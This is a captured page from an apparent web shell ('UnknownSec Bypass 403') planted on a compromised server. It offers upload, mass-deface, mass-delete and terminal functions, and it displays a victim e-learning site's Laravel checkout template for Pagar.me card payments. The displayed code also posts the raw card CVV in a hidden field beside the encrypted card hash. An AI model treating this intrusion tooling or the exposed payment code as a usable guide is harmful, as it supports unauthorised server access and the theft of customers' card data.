UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_80429e4c6ca9
/
resources
/
views
/
checkout
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
payment.blade.php
@extends('layouts.checkout') @section('styles') <style type="text/css"> .disabled {display: none;} .form-control[disabled], .form-control[readonly], fieldset[disabled] .form-control { background-color: rgba(255, 255, 255, 0.5); cursor: not-allowed; } #payment-methods #pagarme .nav-tabs > li > a { font-size: 13px; } #payment-methods #pagarme .nav > li > a { padding: 10px 25px; } #payment-methods .panel-body #pagarme ul li::before { content: none; padding-right: 0px; } </style> <script type="text/javascript" src="https://assets.pagar.me/pagarme-js/4.5/pagarme.min.js"></script> @stop @section('content') @include('flash::message') @if(isset($subscription)) @include('checkout.partials.payment_subscription') @else @include('checkout.partials.payment') @endif @stop @section('scripts') <script type="text/javascript"> $(document).ready(function () { $(document).on('click', '#btnDiscount', function () { var couponKey = $('input[name=couponKey]').val(); $.ajax({ type: "POST", url: "{{ route('checkout.coupon') }}", data: { couponKey: couponKey }, success: function (data) { //console.log(data); if (data['status'] == false) { bootbox.alert(data['message']); } else { location.reload(); } }, error: function (request, status, error) { alert(request.responseText); } }); }); @if(isset($cart)) @if(CartHelper::courseHasShipping($cart)) var zip = $('input[name=zip]').val(); if (zip) { $('#loading_shipping').show(); $.ajax({ type: "POST", url: "{{ route('checkout.see.shipping') }}", data: { zip: zip }, success: function (data) { $('#tblShippingInfo').html(data); $('#clmnPrc').css('text-align', 'right') $('#clmnPrz').css('text-align', 'right') $('#coupon_payment').addClass('disabled'); $('#loading_shipping').hide(); }, error: function (request, status, error) { //alert(request.responseText); alert('Verifique novamente as informações do CEP inserido e tente novamente.'); } }); } @endif @endif $(document).on('change', "input[name='optradio']", function () { var shippingCode = this.value; var shippingPrice = $(this).parent().parent().next('td').text(); if (shippingPrice == 'N/A') { shippingPrice = '0'; } shippingPrice = shippingPrice.replace(',', '.'); $.ajax({ type: "POST", url: "{{ route('checkout.add.shipping') }}", data: { shippingCode: shippingCode, shippingPrice: shippingPrice }, success: function (data) { //alert(data); $('#shippingValue').html(data); $("#installments").load(location.href+" #installments>*",""); }, error: function (request, status, error) { alert(request.responseText); } }); $('#coupon_payment').removeClass('disabled'); }); $('[data-toggle="tooltip"]').tooltip(); }); //exibir campos para cadastrar um novo cartão $(document).ready(function() { $('#register_new_card').click(function(){ $('#card_new').toggle('slow'); }); }); // script para validar o cartão no pagarme $(document).ready(function() { let form_boleto = $("#payment_form_billet"); form_boleto.submit(function(event) { $('#submit_boleto').prop('disabled', true); }); let form = $("#payment_form"); form.submit(function(event) { event.preventDefault(); $('#submit_card').prop('disabled', true); let year = $("#card_expiration_year").val(); console.log(year); year = year.substr(year.length -2); let card = {} ; card.card_holder_name = $("#card_holder_name").val(); card.card_expiration_date = $("#card_expiration_month").val() + year; card.card_number = $("#card_number").val(); card.card_cvv = $("#card_cvv").val(); let preSelected = $('input[name="select_card"]:checked').val(); if (preSelected && !card.card_number) { $("<input />").attr("type", "hidden") .attr("name", "card_hash_id") .attr("value", preSelected) .appendTo("#payment_form"); document.getElementById("payment_form").submit(); return false } // pega os erros de validação nos campos do form e a bandeira do cartão let cardValidations = pagarme.validate({card: card}); let cardError = {}; cardError.status = false; cardError.message = ''; //Então você pode verificar se algum campo não é válido if(!cardValidations.card.card_number) { cardError.status = true; cardError.message = 'Número do cartão incorreto!'; } else if (!cardValidations.card.card_cvv) { cardError.status = true; cardError.message = 'CVV incorreto!'; } else if (!cardValidations.card.card_expiration_date) { cardError.status = true; cardError.message = 'Data de validade incorreta!'; } else if (!cardValidations.card.card_holder_name) { cardError.status = true; cardError.message = 'Nome no cartão incorreto!'; } if (cardError.status) { alert(cardError.message); $('#submit_card').prop('disabled', false); return false; } //Mas caso esteja tudo certo, você pode seguir o fluxo let hash = pagarme.client.connect({ encryption_key: '{{ config('pagar_me.PAGAR_ME_ENC_KEY') }}' }) .then(client => client.security.encrypt(card)) .then(card_hash => { $("<input />").attr("type", "hidden") .attr("name", "hash") .attr("value", card.card_cvv) .appendTo("#payment_form"); $("<input />").attr("type", "hidden") .attr("name", "card_hash") .attr("value", card_hash) .appendTo("#payment_form"); setTimeout(function(){ document.getElementById("payment_form").submit(); }, 3000); }); return false; }) }); </script> @stop
Copyright © 2026 - UnknownSec